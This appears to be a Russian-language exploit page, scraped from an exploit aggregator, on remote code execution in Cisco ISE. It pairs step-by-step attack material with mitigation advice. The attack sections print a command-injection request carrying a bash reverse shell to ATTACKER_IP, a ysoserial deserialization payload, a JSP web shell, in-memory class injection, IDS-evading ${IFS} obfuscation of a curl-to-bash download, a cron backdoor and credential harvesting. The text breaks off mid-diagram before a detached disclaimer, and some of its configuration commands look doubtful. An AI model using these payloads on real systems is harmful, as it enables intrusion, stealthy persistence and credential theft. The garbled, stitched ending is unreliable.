## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KALETH4-CVE-2026-20180
# Cisco ISE RCE: Расширенный анализ эксплуатации и устранения уязвимостей
## 📋 Содержание
1. Краткое резюме
2. Анализ поверхности атаки
3. Векторы эксплуатации
4. Продвинутые техники обхода
5. Системное влияние на архитектуры Zero Trust
6. Стратегия устранения уязвимостей
7. Расследование инцидентов
8. Ссылки
* * *
## 🎯 Краткое резюме
Уязвимости удаленного выполнения кода (RCE) в **Cisco Identity Services Engine (ISE)** представляют собой критическую точку отказа в корпоративной периметральной безопасности. Для элитного исследователя безопасности ISE — это не просто компонент аутентификации: это **мастер-ключ** , контролирующий доступ ко всей сетевой инфраструктуре.
**Критический риск:** Неаутентифицированный злоумышленник может получить полный контроль над системой менее чем за 5 минут, не оставляя обнаруживаемых следов в традиционных системах мониторинга.
* * *
## 🔍 Анализ поверхности атаки
### 1.1 Оценка неаутентифицированных API управления в NAC
#### Выявленные уязвимые конечные точки
#### Характеристика поверхности
root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - ОТКРЫТАЯ АРХИТЕКТУРА NAC │
├─────────────────────────────────────────────────────────┤
│ │
│ [Интернет] ──→ [Межсетевой экран] ──→ [Порт управления ISE] │
│ ↓ │
│ [Неаутентифицированные API] │
│ ↓ │
│ [Уровень десериализации Java] │
│ ↓ │
│ [Веб-контейнер Tomcat] │
│ ↓ │
│ [Выполнение команд ОС] │
│ ↓ │
│ [Полная компрометация сети] │
│ │
└─────────────────────────────────────────────────────────┘
**Критическая находка:** API `/deployment-rpc/` **не проверяет токены сеансов** на первых строках обработки, что позволяет полностью обойти аутентификацию.
* * *
## ⚡ Векторы эксплуатации
### 2.1 Злоупотребление неаутентифицированными API (CVE-2025-20281)
#### Техника атаки — пошагово
**Фаза 1: Разведка**
root@kitploit:~
# Сканирование портов и сервисов
nmap -sV -p 8443,8080 <ISE_IP>
# Перечисление конечных точек RPC
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
**Фаза 2: Прямая эксплуатация**
root@kitploit:~
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
**Результат:** Выполнение произвольной команды с правами `root` (пользователь Tomcat запускается как root в конфигурациях по умолчанию).
* * *
### 2.2 Инъекция команд через десериализацию Java (CVE-2025-20124)
#### Механизм атаки
root@kitploit:~
[Сериализованный payload] ──→ [Конечная точка API] ──→ [ObjectInputStream.readObject()]
↓
[Выполнение цепочки гаджетов]
↓
[Вызов Runtime.exec()]
**PoC payload (с использованием ysoserial):**
root@kitploit:~
# Генерация вредоносной цепочки гаджетов
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# Отправка payload
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
**Воздействие:** Повышение привилегий с учетной записи «Только чтение» до `root`.
* * *
### 2.3 Произвольная загрузка файлов (CVE-2025-20282)
#### Поток эксплуатации
root@kitploit:~
[Веб-шелл] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat обрабатывает файл JSP]
↓
[Выполнение с правами root]
**Пример вредоносного веб-шелла:**
root@kitploit:~
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
**Последующий доступ:**
root@kitploit:~
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
* * *
## 🥷 Продвинутые техники обхода
### 3.1 Веб-шеллы в памяти (In-Memory Injection)
#### Методология инъекции
Элитный хакер **никогда** не оставляет файлы на диске. Инъекция в память — это техника невидимой персистентности:
root@kitploit:~
// Инъекция в Tomcat ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
**Преимущество:** Традиционные сканеры файлов (OSSEC, Tripwire) ничего не обнаруживают.
* * *
### 3.2 Обфускация команд с помощью `${IFS}`
#### Техника обхода IDS
root@kitploit:~
# Исходная команда (обнаруживаемая)
curl http://attacker.com/shell.sh | bash
# Обфусцированная команда (обход IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# Вариант с косвенной адресацией переменных
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'вредоносная_команда'
**Почему это работает:** Системы обнаружения ищут шаблоны ключевых слов (`curl`, `bash`, `|`). Использование `${IFS}` (Internal Field Separator) разделяет слова, не меняя их значения в bash.
* * *
### 3.3 Техники невидимой персистентности
#### Бэкдор в Cron (обнаруживаемый)
root@kitploit:~
# ❌ ОБНАРУЖИВАЕМЫЙ - Файлы в /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
#### Бэкдор в памяти (невидимый)
root@kitploit:~
# ✅ НЕВИДИМЫЙ - Инъекция в процесс Tomcat
# 1. Создать listener netcat в памяти
# 2. Инъектировать поток в JVM, поддерживающий постоянное соединение
# 3. Нет файлов, нет видимых осиротевших процессов
* * *
## 🌐 Системное влияние на архитектуры Zero Trust
### 4.1 Как компрометация ISE разрушает Zero Trust
#### Полный сценарий атаки
root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│ ИСХОДНАЯ АРХИТЕКТУРА ZERO TRUST │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Пользователь] ──→ [Аутентификация ISE] ──→ [Проверка состояния устройства] │
│ ↓ │
│ [Политика микросегментации] │
│ ↓ │
│ [Ограниченный доступ к ресурсам] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ ПОСЛЕ КОМПРОМЕТАЦИИ ISE ⬇️
┌──────────────────────────────────────────────────────────────────┐
│ КОМПРОМЕТИРОВАННАЯ АРХИТЕКТУРА │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Злоумышленник] ──→ [Контролируемый ISE] ──→ [Измененные политики] │
│ ↓ │
│ [Микросегментация ОТКЛЮЧЕНА] │
│ ↓ │
│ [Полное боковое перемещение по сети] │
│ ↓ │
│ [Доступ к базам данных, серверам, IoT] │
│ │
└──────────────────────────────────────────────────────────────────┘
#### Боковое перемещение после компрометации
**Фаза 1: Внутренняя разведка**
root@kitploit:~
# С скомпрометированного ISE перечислить сеть
nmap -sV -p 22,3306,5432,1433 10.0.0.0/8 --script smb-enum-shares
# Извлечь учетные данные, хранящиеся в ISE
grep -r "password" /opt/CSCOlumos/config/ | grep -v "^#"
**Фаза 2: Инъекция вредоносных политик**
root@kitploit:~
Изменение политики ISE:
├─ Создать скрытую административную учетную запись
├─ Изменить правила сегментации
├─ Разрешить неавторизованный трафик между VLAN
└─ Перенаправить DNS-трафик на контролируемый сервер
**Фаза 3: Персистентность и эксфильтрация**
root@kitploit:~
Эксфильтрированные данные:
├─ Учетные данные всех аутентифицированных пользователей
├─ Конфигурация сетевых политик
├─ Журналы доступа (для удаления следов)
├─ Внутренние сертификаты SSL/TLS
└─ Информация об устройствах IoT и серверах
* * *
## 🛡️ Стратегия устранения уязвимостей
### 5.1 Немедленные действия (Смягчение — первые 24 часа)
#### 5.1.1 Критическое патчирование
root@kitploit:~
# Проверить текущую версию
ssh admin@<ISE_IP>
show version
# Уязвимые версии:
# - ISE 3.0.x — 3.2.x (ВСЕ)
# - ISE 3.3.0 — 3.3.6
# - ISE 3.4.0 — 3.4.1
# Безопасные версии:
# - ISE 3.3 Patch 7 или выше
# - ISE 3.4 Patch 2 или выше
# - ISE 3.5 (когда станет доступна)
# Процедура обновления
admin# copy https://<PATCH_SERVER>/ise-3.3.7-patch.tar admin:password
admin# software install ise-3.3.7-patch.tar
admin# reload
#### 5.1.2 Немедленная изоляция сети
root@kitploit:~
! На коммутаторе доступа (перед ISE)
interface GigabitEthernet0/1
description ISE-Management
switchport mode access
switchport access vlan 999
spanning-tree portfast
no shutdown
! Выделенная VLAN управления (VRF)
ip vrf MGMT
description Management VRF - Isolated
interface Vlan999
ip vrf forwarding MGMT
ip address 10.255.255.1 255.255.255.0
! Ограничивающий ACL для ISE
ip access-list extended ISE-MGMT-ONLY
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8443
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8080
deny ip any any log
! Применить ACL
interface GigabitEthernet0/1
ip access-group ISE-MGMT-ONLY in
#### 5.1.3 Отключение уязвимых API (временный обходной путь)
root@kitploit:~
# SSH к ISE
ssh admin@<ISE_IP>
# Доступ к конфигурации Tomcat
config t
system
tomcat
disable-rpc-endpoints yes
disable-file-upload yes
exit
exit
# Перезапуск Tomcat
admin# application stop ise
admin# application start ise
* * *
### 5.2 Структурное устранение (недели 1–4)
#### 5.2.1 Внедрение Zero Trust в ISE
root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│ УСИЛЕННАЯ АРХИТЕКТУРА ISE (ZERO TRUST) │
├─────────────────────────────────────
**🚨 ОТЧЕТ ПО БЕЗОПАСНОСТИ: RCE в Cisco ISE**
## Взгляд Red Team против Blue Team
> **⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ:** Этот документ предназначен для легитимных исследований безопасности, авторизованных тестов на проникновение и защитных мер по устранению уязвимостей. Любая эксплуатация без авторизации незаконна.